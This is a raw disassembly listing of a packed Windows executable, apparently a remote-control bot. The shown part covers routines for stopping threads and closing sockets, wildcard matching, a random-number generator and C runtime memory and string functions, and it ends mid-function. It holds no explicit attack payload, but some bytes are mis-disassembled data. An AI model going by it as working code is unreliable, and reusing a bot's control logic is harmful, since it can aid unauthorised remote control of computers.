dd 83FFFFDFh, 0FF3314C4h, 438A58BEh, 3E8000h, 7D833C74h
dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
dd 0F63868FFh, 0E8500042h, 446h, 858D016Ah, 0FFFFFE00h
dd 501075FFh, 0FF0C75FFh, 32E80875h, 83FFFFDFh, 0C68124C4h
dd 234h, 48FE8147h, 7C00461Fh, 0C95E5FB0h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_411AD5 proc near ; CODE XREF: .nsp0:0040E7B7p
; sub_411B63+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_411B5D
cmp esi, 12Ch
jge short loc_411B5D
imul esi, 234h
push edi
push ebx
push dword_438C6C[esi]
lea edi, dword_438C6C[esi]
call near ptr 0AB0000h
sbb al, 39h
pop ds
jz short loc_411B0D
push 1
pop ebp
loc_411B0D: ; CODE XREF: sub_411AD5+33j
mov [edi], ebx
lea edi, dword_438C60[esi]
mov dword_438C58[esi], ebx
mov dword_438C5C[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_411B2E
push eax
call sub_410D06
pop ecx
loc_411B2E: ; CODE XREF: sub_411AD5+50j
mov [edi], ebx
lea edi, dword_438C64[esi]
mov byte ptr dword_438A58[esi], bl
mov byte_438C70[esi], bl
push dword ptr [edi]
call dword_433B60 ; closesocket
lea esi, dword_438C68[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_433B60 ; closesocket
mov [esi], ebx
pop edi
loc_411B5D: ; CODE XREF: sub_411AD5+Dj
; sub_411AD5+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_411AD5 endp
; =============== S U B R O U T I N E =======================================
sub_411B63 proc near ; CODE XREF: .nsp0:loc_407D0Dp
; .nsp0:00409A1Ep ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_438A58
loc_411B6F: ; CODE XREF: sub_411B63+2Aj
cmp byte ptr [esi], 0
jz short loc_411B80
push edi
call sub_411AD5
test eax, eax
pop ecx
jz short loc_411B80
inc ebx
loc_411B80: ; CODE XREF: sub_411B63+Fj
; sub_411B63+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_461F48
jl short loc_411B6F
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_411B63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411B95 proc near ; CODE XREF: .nsp0:0040BC4Fp
; .nsp0:0040BCC0p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_438C5C
loc_411BA9: ; CODE XREF: sub_411B95+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_411BCB
test edi, edi
jle short loc_411BBD
cmp [esi], edi
jz short loc_411BBD
cmp ebx, edi
jnz short loc_411BCB
loc_411BBD: ; CODE XREF: sub_411B95+1Ej
; sub_411B95+22j
push ebx
call sub_411AD5
test eax, eax
pop ecx
jz short loc_411BCB
inc [ebp+var_4]
loc_411BCB: ; CODE XREF: sub_411B95+1Aj
; sub_411B95+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_46214C
jl short loc_411BA9
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_411B95 endp
; =============== S U B R O U T I N E =======================================
sub_411BE2 proc near ; CODE XREF: sub_405851+Bp
; .nsp0:004058F5p ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_438C58
loc_411BE9: ; CODE XREF: sub_411BE2+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_411BF2
inc eax
loc_411BF2: ; CODE XREF: sub_411BE2+Dj
add ecx, 234h
cmp ecx, offset dword_462148
jl short loc_411BE9
retn
sub_411BE2 endp
; =============== S U B R O U T I N E =======================================
sub_411C01 proc near ; CODE XREF: .nsp0:0040EE9Ep
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_438C58
loc_411C0B: ; CODE XREF: sub_411C01+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_411C24
add ecx, 234h
inc edx
cmp ecx, offset dword_462148
jl short loc_411C0B
pop esi
retn
; ---------------------------------------------------------------------------
loc_411C24: ; CODE XREF: sub_411C01+10j
mov eax, edx
pop esi
retn
sub_411C01 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411C28 proc near ; CODE XREF: .nsp0:0040F571p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_411C41
push [ebp+arg_1C]
call sub_41245F
pop ecx
loc_411C41: ; CODE XREF: sub_411C28+Ej
push eax
push [ebp+arg_18]
call sub_411B95
pop ecx
test eax, eax
pop ecx
jle short loc_411C6D
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"...
push eax
call sub_411EEE
add esp, 14h
jmp short loc_411C87
; ---------------------------------------------------------------------------
loc_411C6D: ; CODE XREF: sub_411C28+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s: No %s thread found."
push eax
call sub_411EEE
add esp, 10h
loc_411C87: ; CODE XREF: sub_411C28+43j
cmp [ebp+arg_C], 0
jnz short loc_411CA7
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 14h
loc_411CA7: ; CODE XREF: sub_411C28+63j
lea eax, [ebp+var_200]
push eax
call sub_408E17
pop ecx
leave
retn
sub_411C28 endp
; =============== S U B R O U T I N E =======================================
sub_411CB6 proc near ; CODE XREF: sub_401000+A2p
; .nsp0:004014D4p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_438C6C[eax], ecx
mov dword_438C58[eax], ecx
mov dword_438C5C[eax], ecx
mov dword_438C60[eax], ecx
mov dword_438C64[eax], ecx
mov dword_438C68[eax], ecx
mov byte ptr dword_438A58[eax], cl
mov byte_438C70[eax], cl
retn
sub_411CB6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411CF3 proc near ; CODE XREF: .nsp0:0040F87Dp
; sub_411E21+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_411CFD: ; CODE XREF: sub_411CF3+68j
mov cl, [esi]
test cl, cl
jz short loc_411D5D
cmp eax, 1
jnz short loc_411D5D
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_411D5D
cmp cl, 2Ah
jz short loc_411D44
cmp cl, 3Fh
jz short loc_411D27
cmp cl, 5Bh
jz short loc_411D2C
xor eax, eax
cmp cl, dl
setz al
loc_411D27: ; CODE XREF: sub_411CF3+26j
inc [ebp+arg_4]
jmp short loc_411D57
; ---------------------------------------------------------------------------
loc_411D2C: ; CODE XREF: sub_411CF3+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_411D89
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_411D57
; ---------------------------------------------------------------------------
loc_411D44: ; CODE XREF: sub_411CF3+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_411E21
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_411D57: ; CODE XREF: sub_411CF3+37j
; sub_411CF3+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_411CFD
; ---------------------------------------------------------------------------
loc_411D5D: ; CODE XREF: sub_411CF3+Ej
; sub_411CF3+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_411D6D
cmp eax, 1
jnz short loc_411D84
inc esi
mov [ebp+arg_0], esi
jmp short loc_411D5D
; ---------------------------------------------------------------------------
loc_411D6D: ; CODE XREF: sub_411CF3+6Dj
cmp eax, 1
jnz short loc_411D84
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_411D84
cmp byte ptr [esi], 0
jnz short loc_411D84
push 1
pop eax
jmp short loc_411D86
; ---------------------------------------------------------------------------
loc_411D84: ; CODE XREF: sub_411CF3+72j
; sub_411CF3+7Dj ...
xor eax, eax
loc_411D86: ; CODE XREF: sub_411CF3+8Fj
pop esi
pop ebp
retn
sub_411CF3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411D89 proc near ; CODE XREF: sub_411CF3+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_411DAA
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_411DAA: ; CODE XREF: sub_411D89+19j
push ebx
push esi
loc_411DAC: ; CODE XREF: sub_411D89+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_411DBA
cmp [ebp+var_4], eax
jnz short loc_411E06
loc_411DBA: ; CODE XREF: sub_411D89+2Aj
test edi, edi
jnz short loc_411DFB
cmp bl, 2Dh
jnz short loc_411DEF
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_411DEF
cmp al, 5Dh
jz short loc_411DEF
cmp [ebp+var_4], edi
jnz short loc_411DEF
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_411DFB
cmp bl, al
jg short loc_411DFB
push 1
mov [edx], esi
pop edi
jmp short loc_411DFB
; ---------------------------------------------------------------------------
loc_411DEF: ; CODE XREF: sub_411D89+38j
; sub_411D89+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_411DFB
push 1
pop edi
loc_411DFB: ; CODE XREF: sub_411D89+33j
; sub_411D89+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_411DAC
; ---------------------------------------------------------------------------
loc_411E06: ; CODE XREF: sub_411D89+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_411E13
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_411E13: ; CODE XREF: sub_411D89+82j
cmp edi, eax
jnz short loc_411E1C
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_411E1C: ; CODE XREF: sub_411D89+8Cj
mov eax, edi
pop edi
leave
retn
sub_411D89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411E21 proc near ; CODE XREF: sub_411CF3+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_411E3D: ; CODE XREF: sub_411E21+3Aj
cmp [eax], bl
jz short loc_411E5D
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_411E52
cmp cl, 2Ah
jnz short loc_411E5D
cmp cl, 3Fh
jnz short loc_411E55
loc_411E52: ; CODE XREF: sub_411E21+25j
inc eax
mov [edi], eax
loc_411E55: ; CODE XREF: sub_411E21+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_411E3D
; ---------------------------------------------------------------------------
loc_411E5D: ; CODE XREF: sub_411E21+1Ej
; sub_411E21+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_411E68
inc dword ptr [esi]
jmp short loc_411E5D
; ---------------------------------------------------------------------------
loc_411E68: ; CODE XREF: sub_411E21+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_411E89
mov edx, [esi]
cmp [edx], bl
jz short loc_411E7A
xor eax, eax
jmp short loc_411EE9
; ---------------------------------------------------------------------------
loc_411E7A: ; CODE XREF: sub_411E21+53j
cmp cl, bl
jnz short loc_411E89
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_411E89
push 1
pop eax
jmp short loc_411EE9
; ---------------------------------------------------------------------------
loc_411E89: ; CODE XREF: sub_411E21+4Dj
; sub_411E21+5Bj ...
push eax
push dword ptr [esi]
call sub_411CF3
pop ecx
test eax, eax
pop ecx
jnz short loc_411ED3
loc_411E97: ; CODE XREF: sub_411E21+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_411E9B: ; CODE XREF: sub_411E21+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_411EB3
cmp cl, 5Bh
jz short loc_411EB3
cmp dl, bl
jz short loc_411EB3
inc eax
mov [edi], eax
jmp short loc_411E9B
; ---------------------------------------------------------------------------
loc_411EB3: ; CODE XREF: sub_411E21+82j
; sub_411E21+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_411ECA
push eax
push dword ptr [esi]
call sub_411CF3
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_411ECF
; ---------------------------------------------------------------------------
loc_411ECA: ; CODE XREF: sub_411E21+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_411ECF: ; CODE XREF: sub_411E21+A7j
cmp eax, ebx
jnz short loc_411E97
loc_411ED3: ; CODE XREF: sub_411E21+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_411EE6
mov eax, [esi]
cmp [eax], bl
jnz short loc_411EE6
mov [ebp+var_4], 1
loc_411EE6: ; CODE XREF: sub_411E21+B6j
; sub_411E21+BCj
mov eax, [ebp+var_4]
loc_411EE9: ; CODE XREF: sub_411E21+57j
; sub_411E21+66j
pop edi
pop esi
pop ebx
leave
retn
sub_411E21 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411EEE proc near ; CODE XREF: sub_401000+61p
; .nsp0:004013BAp ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_41461C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_411F2E
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_411F3B
; ---------------------------------------------------------------------------
loc_411F2E: ; CODE XREF: sub_411EEE+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_414507
pop ecx
pop ecx
loc_411F3B: ; CODE XREF: sub_411EEE+3Ej
mov eax, esi
pop esi
leave
retn
sub_411EEE endp
; =============== S U B R O U T I N E =======================================
sub_411F40 proc near ; CODE XREF: sub_401000+2Ep
; .nsp0:00401C1Cp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_431460, eax
retn
sub_411F40 endp
; =============== S U B R O U T I N E =======================================
sub_411F4A proc near ; CODE XREF: .nsp0:0040117Dp
; .nsp0:004011F1p ...
mov eax, dword_431460
imul eax, 343FDh
add eax, 269EC3h
mov dword_431460, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_411F4A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_411F70 proc near ; CODE XREF: .nsp0:00401333p
; .nsp0:0040194Fp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_411FC3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_411FB7
neg ecx
and ecx, 3
jz short loc_411F99
sub edx, ecx
loc_411F93: ; CODE XREF: sub_411F70+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_411F93
loc_411F99: ; CODE XREF: sub_411F70+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_411FB7
rep stosd
test edx, edx
jz short loc_411FBD
loc_411FB7: ; CODE XREF: sub_411F70+18j
; sub_411F70+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_411FB7
loc_411FBD: ; CODE XREF: sub_411F70+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_411FC3: ; CODE XREF: sub_411F70+Aj
mov eax, [esp+arg_0]
retn
sub_411F70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411FD0 proc near ; CODE XREF: .nsp0:004012DFp
; .nsp0:004012F0p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_411FF0
cmp edi, eax
jb loc_412168
loc_411FF0: ; CODE XREF: sub_411FD0+16j
test edi, 3
jnz short loc_41200C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41202C
rep movsd
jmp off_412118[edx*4]
; ---------------------------------------------------------------------------
loc_41200C: ; CODE XREF: sub_411FD0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_412024
and eax, 3
add ecx, eax
jmp dword ptr loc_41202C+4[eax*4]
; ---------------------------------------------------------------------------
loc_412024: ; CODE XREF: sub_411FD0+46j
jmp dword ptr loc_412128[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41202C: ; CODE XREF: sub_411FD0+31j
; sub_411FD0+8Ej ...
jmp off_4120AC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_412040
dd offset loc_41206C
dd offset loc_412090
; ---------------------------------------------------------------------------
loc_412040: ; DATA XREF: sub_411FD0+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41202C
rep movsd
jmp off_412118[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41206C: ; DATA XREF: sub_411FD0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41202C
rep movsd
jmp off_412118[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_412090: ; DATA XREF: sub_411FD0+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41202C
rep movsd
jmp off_412118[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4120AC dd offset loc_41210F ; DATA XREF: sub_411FD0:loc_41202Cr
dd offset loc_4120FC
dd offset loc_4120F4
dd offset loc_4120EC
dd offset loc_4120E4
dd offset loc_4120DC
dd offset loc_4120D4
dd offset loc_4120CC
; ---------------------------------------------------------------------------
loc_4120CC: ; CODE XREF: sub_411FD0:loc_41202Cj
; DATA XREF: sub_411FD0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_4120D4: ; CODE XREF: sub_411FD0:loc_41202Cj
; DATA XREF: sub_411FD0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_4120DC: ; CODE XREF: sub_411FD0:loc_41202Cj
; DATA XREF: sub_411FD0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_4120E4: ; CODE XREF: sub_411FD0:loc_41202Cj
; DATA XREF: sub_411FD0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_4120EC: ; CODE XREF: sub_411FD0:loc_41202Cj
; DATA XREF: sub_411FD0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4120F4: ; CODE XREF: sub_411FD0:loc_41202Cj
; DATA XREF: sub_411FD0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4120FC: ; CODE XREF: sub_411FD0:loc_41202Cj
; DATA XREF: sub_411FD0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41210F: ; CODE XREF: sub_411FD0:loc_41202Cj
; DATA XREF: sub_411FD0:off_4120ACo
jmp off_412118[edx*4]
; ---------------------------------------------------------------------------
align 4
off_412118 dd offset loc_412128 ; DATA XREF: sub_411FD0+35r
; sub_411FD0+92r ...
dd offset loc_412130
dd offset loc_41213C
dd offset loc_412150
; ---------------------------------------------------------------------------
loc_412128: ; CODE XREF: sub_411FD0+35j
; sub_411FD0+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_412130: ; CODE XREF: sub_411FD0+35j
; sub_411FD0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41213C: ; CODE XREF: sub_411FD0+35j
; sub_411FD0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_412150: ; CODE XREF: sub_411FD0+35j
; sub_411FD0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_412168: ; CODE XREF: sub_411FD0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41219C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_412190
std
rep movsd
cld
jmp off_4122B0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_412190: ; CODE XREF: sub_411FD0+1B1j
; sub_411FD0+208j ...
neg ecx
jmp dword ptr loc_412260[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41219C: ; CODE XREF: sub_411FD0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_4121B4
and eax, 3
sub ecx, eax
jmp dword ptr loc_4121B4+4[eax*4]
; ---------------------------------------------------------------------------
loc_4121B4: ; CODE XREF: sub_411FD0+1D6j
; DATA XREF: sub_411FD0+1DDr
jmp off_4122B0[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4121C7+1
dd offset loc_4121E8
; ---------------------------------------------------------------------------
adc [edx], ah
inc ecx
loc_4121C7: ; DATA XREF: sub_411FD0+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_412190
std
rep movsd
cld
jmp off_4122B0[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_4121E8: ; DATA XREF: sub_411FD0+1F0o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_412190
std
rep movsd
cld
jmp off_4122B0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_412190
std
rep movsd
cld
jmp off_4122B0[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_412264
dd offset loc_41226C
dd offset loc_412274
dd offset loc_41227C
dd offset loc_412284
dd offset loc_41228C
; ---------------------------------------------------------------------------
xchg eax, esp
and al, [ecx+0]
loc_412260: ; DATA XREF: sub_411FD0+1C2r
cmpsd
and al, [ecx+0]
loc_412264: ; DATA XREF: sub_411FD0+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41226C: ; DATA XREF: sub_411FD0+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_412274: ; DATA XREF: sub_411FD0+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41227C: ; DATA XREF: sub_411FD0+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_412284: ; DATA XREF: sub_411FD0+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41228C: ; DATA XREF: sub_411FD0+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4122A7: ; CODE XREF: sub_411FD0+1C2j
jmp off_4122B0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_4122B0 dd offset loc_4122C0 ; DATA XREF: sub_411FD0+1B7r
; sub_411FD0:loc_4121B4r ...
dd offset loc_4122C8
dd offset loc_4122D8
dd offset loc_4122EC
; ---------------------------------------------------------------------------
loc_4122C0: ; CODE XREF: sub_411FD0+1B7j
; sub_411FD0:loc_4121B4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4122C8: ; CODE XREF: sub_411FD0+1B7j
; sub_411FD0:loc_4121B4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4122D8: ; CODE XREF: sub_411FD0+1B7j
; sub_411FD0:loc_4121B4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4122EC: ; CODE XREF: sub_411FD0+1B7j
; sub_411FD0:loc_4121B4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_411FD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_412310 proc near ; CODE XREF: .nsp0:004011AEp
; .nsp0:004011CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41235C
loc_412320: ; CODE XREF: sub_412310+3Cj
; sub_412310+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_412354
or al, al
jz short loc_412350
cmp ah, [ecx+1]
jnz short loc_412354
or ah, ah
jz short loc_412350
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_412354
or al, al
jz short loc_412350
cmp ah, [ecx+3]
jnz short loc_412354
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_412320
mov edi, edi
loc_412350: ; CODE XREF: sub_412310+18j
; sub_412310+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_412354: ; CODE XREF: sub_412310+14j
; sub_412310+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41235C: ; CODE XREF: sub_412310+Ej
test edx, 1
jz short loc_412378
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_412354
inc ecx
or al, al
jz short loc_412350
test edx, 2
jz short loc_412320
loc_412378: ; CODE XREF: sub_412310+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_412354
or al, al
jz short loc_412350
cmp ah, [ecx+1]
jnz short loc_412354
or ah, ah
jz short loc_412350
add ecx, 2
jmp short loc_412320
sub_412310 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4123A0 proc near ; CODE XREF: .nsp0:00401250p
; .nsp0:004019E5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_4123B9
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_4123B9: ; CODE XREF: sub_4123A0+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
